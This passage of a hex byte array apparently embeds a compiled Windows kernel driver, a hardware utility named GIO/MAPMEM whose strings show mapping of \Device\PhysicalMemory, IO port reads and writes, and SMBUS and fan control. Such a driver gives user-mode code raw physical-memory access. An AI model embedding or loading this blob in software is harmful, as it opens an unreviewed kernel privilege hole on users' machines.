0xF7, 0xD9, 0x83, 0xE1, 0x0F, 0x74, 0x0E, 0x4C, + 0x2B, 0xC1, 0xF3, 0x42, 0x0F, 0x6F, 0x04, 0x1A, 0xF3, 0x41, 0x0F, 0x7F, + 0x03, 0x49, 0x03, 0xCB, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, + 0x81, 0xF9, 0x00, 0x20, 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, + 0x49, 0x83, 0xE0, 0x1F, 0xF3, 0x0F, 0x6F, 0x04, 0x0A, 0xF3, 0x0F, 0x6F, + 0x4C, 0x0A, 0x10, 0x48, 0x83, 0xC1, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0xE0, + 0x66, 0x0F, 0x7F, 0x49, 0xF0, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x4F, + 0xFF, 0xFF, 0xFF, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, + 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, + 0xA3, 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0x48, 0xFF, 0xC1, + 0xF6, 0xC1, 0x0F, 0x75, 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, + 0xFA, 0x00, 0x02, 0x00, 0x00, 0x72, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, + 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, 0x48, 0x81, 0xC1, + 0x80, 0x00, 0x00, 0x00, 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xE9, 0x00, + 0x02, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x04, + 0x0A, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0x10, 0x66, 0x0F, 0xE7, 0x01, 0x66, + 0x0F, 0xE7, 0x49, 0x10, 0x48, 0x83, 0xC1, 0x40, 0xF3, 0x0F, 0x6F, 0x44, + 0x0A, 0xE0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xF0, 0x66, 0x0F, 0xE7, 0x41, + 0xE0, 0x66, 0x0F, 0xE7, 0x49, 0xF0, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, + 0xE8, 0x00, 0x02, 0x00, 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, + 0x73, 0x99, 0xF0, 0x80, 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x05, 0x0F, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x79, 0xFE, 0xFF, + 0xFF, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x49, 0x03, + 0xC8, 0x49, 0x83, 0xF8, 0x4F, 0x73, 0x4F, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, + 0xE9, 0x03, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x0A, 0xF8, 0x48, 0x83, 0xE9, + 0x08, 0x49, 0xFF, 0xC9, 0x48, 0x89, 0x01, 0x75, 0xEF, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x17, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8A, 0x44, 0x0A, 0xFF, 0x48, 0xFF, 0xC9, 0x49, 0xFF, 0xC8, 0x88, 0x01, + 0x75, 0xF2, 0x49, 0x8B, 0xC3, 0xC3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x48, 0x83, 0xFA, 0xF0, 0x77, 0x74, 0x48, 0x8B, 0xC1, 0x83, + 0xE1, 0x0F, 0x74, 0x11, 0x4C, 0x2B, 0xC1, 0x48, 0xF7, 0xD9, 0xF3, 0x0F, + 0x6F, 0x44, 0x02, 0xF0, 0xF3, 0x0F, 0x7F, 0x40, 0xF0, 0x48, 0x03, 0xC8, + 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x49, 0x81, 0xF9, 0x00, 0x20, + 0x00, 0x00, 0x0F, 0x87, 0x76, 0x00, 0x00, 0x00, 0x49, 0x83, 0xE0, 0x1F, + 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, 0x6F, 0x4C, 0x0A, 0xE0, + 0x48, 0x83, 0xE9, 0x20, 0x66, 0x0F, 0x7F, 0x41, 0x10, 0x66, 0x0F, 0x7F, + 0x09, 0x49, 0xFF, 0xC9, 0x75, 0xE2, 0xE9, 0x54, 0xFF, 0xFF, 0xFF, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, + 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, + 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, + 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, + 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, + 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, + 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, + 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, + 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, + 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, + 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, + 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, + 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, + 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, + 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, + 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, + 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, + 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, + 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, + 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, + 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, + 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, + 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, + 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, + 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, + 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, + 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, + 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, + 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, + 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, + 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, + 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, + 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, + 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, + 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, + 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, + 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, + 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, + 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, + 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, + 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, + 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, + 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, + 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, + 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, + 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, + 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, + 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, + 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, + 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, + 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, + 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, + 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, + 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, + 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, + 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, + 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, + 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, + 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, + 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, + 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, + 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, + 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, + 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, + 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, + 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, + 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, + 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 